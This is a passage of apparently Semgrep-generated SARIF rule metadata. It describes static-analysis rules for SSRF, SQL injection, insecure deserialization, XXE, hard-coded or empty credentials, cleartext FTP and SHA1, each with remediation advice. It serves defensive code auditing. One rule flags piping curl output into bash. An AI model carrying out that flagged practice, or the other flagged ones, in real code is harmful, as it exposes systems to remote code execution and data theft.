[Semgrep Rule](https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection)\n - [https://github.com/cyrus-and/chrome-remote-interface](https://github.com/cyrus-and/chrome-remote-interface)\n","text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","id":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","name":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","id":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","name":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli","id":"java.spring.security.java-sql-sqli.java-sql-sqli","name":"java.spring.security.java-sql-sqli.java-sql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.java-sql-sqli.java-sql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","id":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","name":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","id":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","name":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"help":{"markdown":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls)\n - [https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS](https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS)\n","text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","id":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","name":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","id":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","name":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash","id":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","name":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-pipe-bash.curl-pipe-bash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/scalaj/scalaj-http#simplified-http](https://github.com/scalaj/scalaj-http#simplified-http)\n","text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","id":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","name":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string","id":"python.django.security.passwords.password-empty-string.password-empty-string","name":"python.django.security.passwords.password-empty-string.password-empty-string","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.password-empty-string.password-empty-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"help":{"markdown":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line)\n","text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line","id":"ocaml.lang.portability.crlf-support.broken-input-line","name":"ocaml.lang.portability.crlf-support.broken-input-line","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.broken-input-line"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","id":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","name":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1","id":"kotlin.lang.security.use-of-sha1.use-of-sha1","name":"kotlin.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker 